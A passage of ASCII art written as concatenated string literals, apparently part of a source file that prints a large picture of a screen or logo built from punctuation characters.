;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;========================================== ", +" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================================= ", +" ;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;====== ", +" ;;;;>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,;==== ", +" ;;;;>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!===== ", +" ;;;;,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>==== ", +" ;;;;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,==== ", +" ;;;;!!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!!!!!==== ", +" ;;;;!!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!!!!!==== ", +" ;;;;!!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!!!!!==== ", +" ;;;;!!!!!,,,,,>------------------------------------>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!!!!!==== ", +" ;;;;!!!!!,,,,,.................................................................................................................................*,,,,,,,,,,,,,,!!!!==== ", +" ;;;>!!!!!,,,,,..................................................................................................................................,,,,,,,,,,,,,,!!!!;=== ", +" ;;;;>!!!!,,,,,,..@#****################################################################################################@@@@@@@@@@@@@@@@@@@@@@@...,,,,,,,,,,,,,,!!!!;==== ", +" ;;;;>!!!!,,,,,,..@----------------------------------------------------------------------------------------------------------------------------@..,,,,,,>>>>,,,,!!!!;==== ", +" ;;;;>!!!!,,,,,>..@------------------------------------------------------$$$++++++++++++$$$----------------------------------------------------@..,,,,,;;>>>,,,,!!!!;==== ", +" ;;;;>!!!!,,,,,>..#--------------------------------------------------$$++++++++++++++++++++++$$------------------------------------------------@..,,,,>;;>>>>,,,!!!!>==== ", +" ;;;;,!!!!,,,,,>..#------------------------------------------------$+++++++++++++++++++++++++++++$---------------------------------------------@..>,,,,;;;>>>,,,!!!!>==== ", +" ;;;;,!!!!,,,,,-..#---------------------------------------------$++++++++++++++++++++++++++++++++++$-------------------------------------------#..>,,,,,>>>>,,,,!!!!>==== ", +" ;;;;,!!!!,,,,,-..#-------------------------------------------$+++++++++++++++++++++++++++++++++++++++-----------------------------------------#..>,,,,,,,,,,,,,!!!!>==== ", +" ;;;;,!!!!,,,,,-..#------------------;----------------------$+++++++++++++++++++++++++++++++++++++++++++$--------------------------------------#..-,,,,,,,,,,,,,!!!!,==== ", +" ;;;;,!!!!,,,,,*..#------------------>--------------------$+++++++++++++++++++$$$$$$$$+++++++++++++++++++$-------------------------------------#..-,,,,,,,,,,,,,!!!!,==== ", +" ;;;;!!!!!,,,,,&..#------------------>-------------------++++++++++++++++$$---------------$$+++++++++++++++$-----------------------------------#..-,,,,,,,,,,,,,!!!!,==== ", +" ;;;;!!!!!,,,,,&..#------------------>;----------------$+++++++++++++$$->---------------------$++++++++++++++*-------------------------------**#..*,,,,,,>>>,,,,!!!!,==== ", +" ;;;;!!!!!,,,,,&..#---------------;;;,>;;-------------$++++++++++++$--=;,;=----------------------$++++++++++++$------------------------********#..&,,,,>;;>>>,,,!!!!,==== ", +" ;;;;!!!!!,,,,,&..#--------------;;;>,,;;;=----------++++++++++++$---=;;,>;;-----------------------$+++++++++++$-----------------**************#..&,,,,;;;>>>,,,!!!!!==== ", +" ;;;;!!!!!,,,,,&..#-------------;;;>,!,>;;;=--------+++++++++++$-----;>,!,>;=-----------------------*$++++++++++$---------*********************#..&,,,,>;;>>>,,,!!!!!==== ", +" ;;;;!!!!!,,,,,..@#------------=;;>>,!,>>;;;-------++++++++++$------;>,,!,,>;-------------------------*++++++++++$****---**********************#..&,,,,,>>>>>,,,!!!!!==== ", +" ;;;;!!!!!,,,,,..@#------------;;>>',!!',>;;=-----++++++++++$------;>,!!!!!,>;-------------------------*$+++++++++$****************************#...,,,,,,,,,,,,,,!!!!==== ", +" ;;;;!!!!!,,,,,..@#------------;>,,,!!!!,,>>;----++++++++++---------=;>'!,>;=----------------****--------$+++++++++$***************************#@..,,,,,,,,,,,,,,!!!!==== ", +" ;;;>!!!!!,,,,,..@#--------;>>>,,!!!!!!!!!,,,>>;++++++++++-----------;;>!,;;------****---------********---*+++++++++$**************************#@..,,,,,,,,,,,,,,!!!!==== ", +" ;;;>!!!!,,,,,,..@*-----------;;>,,,!!!,,,>;;--$+++++++++++-----------=;,>;-----------******----************+++++++++#*************************#@..,,,,,,,,,,,,,,!!!!;=== ", +" ;;;;>!!!!,,,,,>..@*------------;;;>',!!'>>;;=-$+++++++++++++*----------->-------*----************************+++++++++*************************#@..,,,,,>>>>>>,,,!!!!;==== ", +" ;;;;>!!!!,,,,,>..@*------------=;;>>,!!>>;;=--+++++++++++++++-----------;----**%%%%%%%************************+++++++++************************#@..>,,,>;;>>>>,,,!!!!;==== ", +" ;;;;>!!!!,,,,,>..@*-------------=;;;>!,>;;;=-+++++++++++++++++-----------***=>,!,>>,!!,;-**********************++++++++$*******************###@@@..>,,,>;;;>>>,,,!!!!;==== ", +" ;;;;,!!!!,,,,,-..@*--------------=;;;,,;;;=-$++++++++++++++++++---******-*=,!!!,>>>>,,!!!>%*********************++++++++***************###@@@@@@@..>,,,,>;;>>>,,,!!!!>==== ", +" ;;;;,!!!!,,,,,-..@*----------------=;,>==--*++++++++-$++++++++++********->!!,>>>;;;;>>>,!!,=********************#++++++++**********##@@@@@@@@@@@@..-,,,,,,>>,,,,,!!!!>==== ", +" ;;;;,!!!!,,,,,-..#*--------------**-->;--**++++++++***$++++++++++******-,!!>,>;=%#*%%=>,,,!!;********************$+++++++$*****###@@@@@@@@@@@@@@@..-,,,,,,,,,,,,,!!!!>==== ", +" ;;;;,!!!!,,,,,*..#*--------**********;-***$+++++++$****$++++++++++$***-!!,>,,=********-;,,>!!;********************++++++++**##@@@@@@@@@@@@@@@@@@@..*,,,,,,,,,,,,,!!!!>==== ", +" ;;;;,!!!!,,,,,&..@*--**---***********--***+++++++$******$++++++++++$**,!,;>=************=;;>!!=*******************#+++++++$@@@@@@@@@@@@@@@@@@@@@@..*,,,,,,,,,,,,,!!!!,==== ", +" ;;;;,!!!!,,,,,&..@*******************--**$+++++++********$++++++++++$;!,;=%***************==;,>********************$+++++++#@@@@@@@@@@@@@@@@@@@@@..&,,,,,,>>>,,,,!!!!,==== ", +" ;;;;!!!!!,,,,,&..@*******************--**+++++++$*********$++++++++++,!>%%*****************%;>,%*******************#+++++++$@@@@@@@@@@@@@@@@@@@@@..&,,,,>;;>>>,,,!!!!,==== ", +" ;;;;!!!!!,,,,,&..@*******************-**$+++++++***********$++++++++%!!;%******************#%>,=*****************#@@$+++++++@@@@@@@@@@@@@@@@@@@@@..&,,,,;;;>>>,,,!!!!,==== ", +" ;;;;!!!!!,,,,,&..#*******************-**+++++++$************$+++++++=!,%#*******************%;,;%*************#@@@@@#+++++++#@@@@@@@@@@@@@@@@@@@@..&,,,,;;;>>>,,,!!!!,==== ", +" ;;;;!!!!!,,,,,..@#**********************+++++++**************$+++++$>!>%$*******************#%,>%***********#@@@@@@@@$++++++$@@@@@@@@@@@@@@@@@@@@@..,,,,,>>>>>,,,,!!!!==== ", +" ;;;;!!!!!,,,,,..@#*********************$++++++$***************$++++$,!;$+$*******************%>,%********##@@@@@@@@@@#+++++++#@@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!!==== ", +" ;;;;!!!!!,,,,,..@#*********************+++++++$****************$+++%,!=$++$******************%>!=#*****#@@@@@@@@@@@@@@+++++++#@@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!!==== ", +" ;;;;!!!!!,,,,,..@#*********************+++++++***********-******$++%,!=$+++$*****************%>!;#***##@@@@@@@@@@@@@@@$++++++$@@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!!==== ", +" ;;;;!!!!,,,,,,..@#********************#++++++$***********--******$+=!!=+++++$****************%>!>#*#@@@@@@@@@@@@@@@@@@#+++++++@@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!!==== ", +" ;;;>!!!!,,,,,,..@#********************$++++++#***********--*******$=!!=++++++$***************%>!>#@@@@@@@@@@@@@@@@@@@@@+++++++#@@@@@@@@@@@@@@@@@@@..>,,,,>>>>>>,,,!!!!==== ", +" ;;;>!!!!,,,,,>..@#********************+++++++**********-=>;=*******=,!=+++++++$**************%>!>#@@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@@..>,,,>;;>>>>,,,!!!!;=== ", +" ;;;;>!!!!,,,,,>..@#********************+++++++*********-=;,>;=-*****=!!=++++++++$*************%>!>#@@@@@@@@@@@@@@@@@@@@@#++++++$@@@@@@@@@@@@@@@@@@@..;,,,>;;;>>>,,,!!!!;=%%% ", +" ;;;;>!!!!,,,,,;..@#********************++++++$*********=;>,,>;=*****=!!=+++++++++$***********@%>!>#@@@@@@@@@@@@@@@@@@@@@#++++++$@@@@@@@@@@@@@@@@@@@..-,,,,>;;>>>,,,!!!!;%%%% ", +" ;;;;>!!!!,,,,,-..@#*******************$++++++$********-;>,!!,>;-****=,!=++++++++++$********@@@%>!>#@@@@@@@@@@@@@@@@@@@@@@+++++++@@@@@@@@@@@@@@@@@@@..-,,,,,,>>>,,,,!!!!;%%%% ", +" ;;;;,!!!!,,,,,-..@#*****************-*$++++++$*****--->,!!!!!,,>--**=,!=#++++++++++$*****#@@@@%>!>#@@@@@@@@@@@@@@@@@@@@@@+++++++@@@@@@@@@@@@@@@@@@@..-,,,,,,,,,,,,,!!!!>%%%% ", +" ;;;;,!!!!,,,,,*..@******************-*$++++++**********=;,,,>;=*****=,,=*#++++++++++$**#@@@@@@%>!>#@@@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@..*,,,,,,,,,,,,,!!!!>%%%% ", +" ;;;;,!!!!,,,,,*..@******************;*$++++++**********=;;,,;;-***')))))))))))))))))))))))))))))))))%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!>%%%% ", +" ;;;;,!!!!,,,,,&..@****************-=>-$++++++***********=;>>==****')))))))))))))))))))))))))))))))))%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!>%%%% ", +" ;;;;,!!!!,,,,,&..@***************-=;,;+++++++*************;;******')'''')))))))))))))))))))))))'''))%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!,%%%% ", +" ;;;;!!!!!,,,,,&..@**************-=;,!>+++++++*************--******')'''')))))))))))))))))))))))'''')%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!,%%%% ", +" ;;;;!!!!!,,,,,&..@**************=;>,!,+++++++*************-*******')'''')))))))))))))))))))))))'''')%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@***********--;>,!!!!$++++++*********************')'''')))))))))))))))))))))))'''')%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@**************=;,,!,+++++++*********************')'''))))))))))))))))))))))))'''')%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@**************-=;>!>$++++++*********************')'''))))))))))))))))))))))))'''')%@@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@***************-=;,;$++++++#********************')''')))))))))))))))))))))))))''')%@@@@@@@@@@@@@@@@@@@@$++++++@@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!!%%%% ", +" ;;;;!!!!!,,,,,..@@*****************->-$++++++$********************')''')))))))))))))))))))))))))''')%@@@@@@@@@@@@@@@@@@@@+++++++@@@@@@@@@@@@@@@@@@@@..>,,,,,,,,,,,,,!!!!%%%% ", +" ;;;;!!!!,,,,,,..@@******************;*#++++++$********************')''')))))))))))))))))))))))))''')%@@@@@@@@@@@@@@@@@@@@++++++$@@@@@@@@@@@@@@@@@@@@..>,,,,,,,,,,,,,!!!!=%%% ", +" ;;;;!!!!,,,,,>..@@******************-**+++++++********************')''))))))))))))))))))))))))))''))%@@@@@@@@@@@@@@@@@@@#++++++$@@@@@@@@@@@@@@@@@@@@..;,,,,,,,,,,,,,!!!!=%%% ", +" ;;;>!!!!,,,,,>..@@*********************+++++++********************')''))))))))))))))))))))))))))''))%@@@@@@@@@@@@@@@@@@@$++++++$@@@@@@@@@@@@@@@@@@@@..-,,,,,,,,,,,,,!!!!=%%% ", +" ;;;;>!!!!,,,,,>..@@*********************$++++++#*****************&@')'')))))))))))))))))))))))))))'))=@@@@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@@@..-,,,,,,,,,,,,,!!!!;%%%% ", +" ;;;;>!!!!,,,,,-..@@*********************#++++++$****************@@@'))')))))))))))))))))))))))))))'))=@@@@@@@@@@@@@@@@@@@+++++++@@@@@@@@@@@@@@@@@@@@@..-,,,,,,,,,,,,,!!!!;%%%% ", +" ;;;;>!!!!,,,,,-..@@**********************+++++++**************@@@@@')))))))))))))))))))))))))))))))))+#@@@@@@@@@@@@@@@@@$++++++$@@@@@@@@@@@@@@@@@@@@@..*,,,,,,,,,,,,,!!!!;%%%% ", +" ;;;;>!!!!,,,,,-..@&**********************+++++++#***********&@@@@@@')))))))))))))))))))))))))))))))))++#@@@@@@@@@@@@@@@@$++++++#@@@@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!;%%%% ", +" ;;;;,!!!!,,,,,*..@&**********************$++++++$*********&@@@@@@@@')))))))))))))))))))))))))))))))))+++#@@@@@@@@@@@@@@#+++++++@@@@@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!>%%%% ", +" ;;;;,!!!!,,,,,&..@&**********************#+++++++*******&@@@@@@@@@@')))))))))))))))))))))))))))))))))++++#@@@@@@@@@@@@@$++++++$@@@@@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!>%%%% ", +" ;;;;,!!!!,,,,,&..@&***********************+++++++$*****@@@@@@@@@@@@')))))))))))))))))))))))))))))))))+++++#@@@@@@@@@@@@+++++++#@@@@@@@@@@@@@@@@@@@@@@..&,,,,,,,,,,,,,!!!!>%%%% ", +" ;;;;,!!!!,,,,,&..@&***********************$+++++++#**&@@@@@@@@@@@@@')))))))))))))))))))))))))))))))))++++++#@@@@@@@@@@$+++++++@@@@@@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!>%%%% ", +" ;;;;,!!!!,,,,,&..@&***********************&+++++++$&@@@@@@@@@@@@@@@')))))))))))))))))))))))))))))))))+++++++#@@@@@@@@@+++++++$@@@@@@@@@@@@@@@@@@@@@@@@..,,,,,,,,,,,,,,!!!>%%%% ", +" ;;;;!!!!!,,,,,..@@*************************$+++++++#@@@@@@@@@@@@@@@')))))))))))))))))))))))))))))))))++++++++#@@@@@@@$+++++++@@@@@@@@@@@@@@@@&&&&@@@@@..,,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@&**************&*********&+++++++$@@@@@@@@@@@@@@@')))))))))))))))))))))))))))))))))+++++++++#@@@@@#+++++++$@@@@@&&&&@@@@@@@@&&&&&&&@..,,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@&****&&&********&&&&&&&&**$+++++++#@@@@@@@@@@@@@@')))))))))))))))))))))))))))))))))++++++++++#@@@&++++++++#@@@@@@@&&&&&&&&&&&&&&&&&@..,,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@&********&&&&&****&&&&&&&&@++++++++#@@@@@@@@@@@@@')))))))))))))))))))))))))))))))))+++++++++++#@@$+++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&..>,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!!,,,,,..@@&*******&&&&&&&&&&&&&&&@@@@#+++++++$@@@@@@@@@@@@@')))))))))))))))))))))))))))))))))=$++++++++++##++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&..>,,,,,,,,,,,,,!!!,%%%% ", +" ;;;;!!!!,,,,,,..@@&&&&&&&&&&&&&&&&&&&&&@@@@@@@$+++++++$@@@@@@@@@@@@')))))))))))))))))))))))))))))))))-&$++++++++++++++++++#&&&&&&&&&&&&&&&&&&&&&&&&&&&..;,,,,,,,,,,,,,!!!,%%%% ", +" ;;=;!!!!,,,,,>..@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@#++++++++$@@@@@@@@@@@@@@@@@@@@@&&&&@@@@@@@@&&&&&&&&&&&&&&&$++++++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&..-,,,,,,,,,,,,,!!!!%%%% ", +" ===;!!!!,,,,,>..@@&&&&&&&&&&&&&&&&@@@@@@@@@@@@@#++++++++#@@@@@@@@@&&&&@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..-,,,,,,,,,,,,,!!!!=%%% ", +" ===;!!!!,,,,,>..@@&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@$++++++++#&&@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++++#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..-,,,,,,,,,,,,,!!!!=%%% ", +" ===>!!!!,,,,,-..@@&&&&&&&&&&@@@@@@@@@@@@@@@@@&&&&$++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..&,,,,,,,,,,,,,!!!!=%%% ", +" ;===>!!!!,,,,,-..@@&&&&&&&@@@@@@@@@&&&&@@@@@@@@&&&&+++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..&,,,,,,,,,,,,,!!!!=%%%% ", +" ====>!!!!,,,,,-..@&&&&@@&&&&&@@@@@@@@&&&&&&&&&&&&&&&+++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#+++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..&,,,,,,,,,,,,,!!!!;%%%% ", +" ====>!!!!,,,,,*..&@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&#++++++++++#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..&,,,,,,,,,,,,,!!!!;%%%% ", +" ====>!!!!,,,,,&..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@.&,,,,,,,,,,,,,!!!!;%%%% ", +" ====,!!!!,,,,,&..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#+++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@..,,,,,,,,,,,,,,!!!>%%%% ", +" ====,!!!!,,,,,&..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&+++++++++++$#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..,,,,,,,,,,,,,,!!!>%%%% ", +" ====,!!!!,,,,,&..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&#$++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..,,,,,,,,,,,,,,!!!>%%%% ", +" ====,!!!!,,,,,&.@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++++$#&&&&&&&&&&&&&&&&&&&&&&&$++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..,,,,,,,,,,,,,,!!!>%%%% ", +" ====,!!!!,,,,,..@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#++++++++++++++++$#&&&&&&&&&&&&&&#$$+++++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..,,,,,,,,,,,,,,!!!>%%%% ", +" ====,!!!!,,,,,..@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++++++++++$$$$$$$$$++++++++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..>,,,,,,,,,,,,,!!!>%%%% ", +" ====!!!!!,,,,,..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++++++++++++++++++++++++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..>,,,,,,,,,,,,,!!!,%%%% ", +" ====!!!!!,,,,,..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++++++++++++++++++++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..;,,,,,,,,,,,,,!!!,%%%% ", +" ====!!!!,,,,,,..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$+++++++++++++++++++++++++++++++++++#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..-,,,,,,,,,,,,,!!!,%%%% ", +" ===;!!!!,,,,,>..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#$+++++++++++++++++++++++++++++$&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..-,,,,,,,,,,,,,!!!,%%%% ", +" ===;!!!!,,,,,>..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$$+++++++++++++++++++++++$#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..-,,,,,,,,,,,,,!!!,%%%% ", +" ===;!!!!,,,,,>..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$$$++++++++++++$$$#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..&,,,,,,,,,,,,,!!!,%%%% ", +" ===;!!!!,,,,,-..&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..&,,,,,,,,,,,,,!!!!%%%% ", +" ===;!!!!,,,,,-............................................................................................................................................&,,,,,,,,,,,,,!!!!=%%% ", +" ===;!!!!,,,,,>............................................................................................................................................-,,,,,,,,,,,,,,!,,=%%% ", +" ====>!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,=%%%% ", +" ====>!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;%%%% ", +" ====>!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;%%%% ", +" ====>!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;%%%% ", +" ====>!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;%%%% ", +" ====,!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>%%%% ", +" ====,!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>%%%% ", +" ====,!!!!,,,,,,,,,,,,,,,,>>>>>>,,,,,,,,,,,,,,,,,,,>>>>>>>>,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,,>%%%% ", +" ====,!!!!,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,,,>%%%% ", +" 